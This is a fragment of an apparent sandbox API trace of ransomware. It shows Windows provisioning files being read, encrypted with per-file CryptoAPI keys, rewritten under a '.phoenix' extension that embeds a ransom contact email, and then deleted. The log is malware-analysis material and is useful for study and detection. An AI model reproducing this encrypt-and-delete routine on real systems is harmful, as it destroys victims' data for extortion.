	[0259.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\80__connections_cellular_hrvatski telekom (croatia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.394] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\80__connections_cellular_hrvatski telekom (croatia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.394] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.394] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.394] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\80__connections_cellular_hrvatski telekom (croatia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0259.395] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0259.395] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.395] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d1, lpOverlapped=0x0) returned 1
	[0259.396] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0259.396] WriteFile (in: hFile=0x2d0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0259.397] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0259.397] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.397] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0259.397] CryptDestroyKey (hKey=0x151740) returned 1
	[0259.397] WriteFile (in: hFile=0x2d0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0259.397] CryptDestroyKey (hKey=0x151380) returned 1
	[0259.397] CloseHandle (hObject=0x2f4) returned 1
	[0259.397] CloseHandle (hObject=0x2d0) returned 1
	[0259.397] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\80__connections_cellular_hrvatski telekom (croatia)_i0$(__mvid)@wap.provxml")) returned 1
	[0259.399] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0259.399] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\81__connections_cellular_vipnet (croatia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0259.399] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=706) returned 1
	[0259.399] CloseHandle (hObject=0x2d0) returned 1
	[0259.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\81__connections_cellular_vipnet (croatia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0259.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\81__connections_cellular_vipnet (croatia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.400] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\81__connections_cellular_vipnet (croatia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0259.400] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.400] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.400] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\81__connections_cellular_vipnet (croatia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.401] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0259.401] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.401] ReadFile (in: hFile=0x2d0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c2, lpOverlapped=0x0) returned 1
	[0259.416] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0259.416] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0259.417] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0259.417] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.417] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0259.417] CryptDestroyKey (hKey=0x151740) returned 1
	[0259.417] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0259.417] CryptDestroyKey (hKey=0x151380) returned 1
	[0259.417] CloseHandle (hObject=0x2d0) returned 1
	[0259.417] CloseHandle (hObject=0x2f4) returned 1
	[0259.417] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\81__connections_cellular_vipnet (croatia)_i0$(__mvid)@wap.provxml")) returned 1
	[0259.419] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0259.419] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\82__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.419] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=472) returned 1
	[0259.419] CloseHandle (hObject=0x2f4) returned 1
	[0259.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\82__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0259.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\82__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.420] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\82__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.420] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.420] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.420] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\82__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0259.421] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151540) returned 1
	[0259.421] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.421] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1d8, lpOverlapped=0x0) returned 1
	[0259.422] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0) returned 1
	[0259.422] WriteFile (in: hFile=0x2d0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1e0, lpOverlapped=0x0) returned 1
	[0259.422] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151300) returned 1
	[0259.422] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.422] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0259.423] CryptDestroyKey (hKey=0x151300) returned 1
	[0259.423] WriteFile (in: hFile=0x2d0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0259.423] CryptDestroyKey (hKey=0x151540) returned 1
	[0259.423] CloseHandle (hObject=0x2f4) returned 1
	[0259.423] CloseHandle (hObject=0x2d0) returned 1
	[0259.423] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\82__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0259.424] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0259.424] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\83__connections_cellular_areeba ltd (cyprus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0259.424] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=717) returned 1
	[0259.424] CloseHandle (hObject=0x2d0) returned 1
	[0259.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\83__connections_cellular_areeba ltd (cyprus)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0259.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\83__connections_cellular_areeba ltd (cyprus)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.425] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\83__connections_cellular_areeba ltd (cyprus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0259.425] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.425] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.425] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\83__connections_cellular_areeba ltd (cyprus)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.425] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0259.425] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.425] ReadFile (in: hFile=0x2d0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cd, lpOverlapped=0x0) returned 1
	[0259.468] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0259.468] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0259.469] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0259.469] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.469] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0259.469] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0259.469] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0259.469] CryptDestroyKey (hKey=0x151380) returned 1
	[0259.469] CloseHandle (hObject=0x2d0) returned 1
	[0259.469] CloseHandle (hObject=0x2f4) returned 1
	[0259.469] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\83__connections_cellular_areeba ltd (cyprus)_i0$(__mvid)@wap.provxml")) returned 1
	[0259.470] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0259.470] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\84__connections_cellular_cytamobile-vodafone (cyprus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.471] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=720) returned 1
	[0259.471] CloseHandle (hObject=0x2f4) returned 1
	[0259.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\84__connections_cellular_cytamobile-vodafone (cyprus)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0259.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\84__connections_cellular_cytamobile-vodafone (cyprus)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.471] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\84__connections_cellular_cytamobile-vodafone (cyprus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.472] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.472] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.472] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\84__connections_cellular_cytamobile-vodafone (cyprus)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
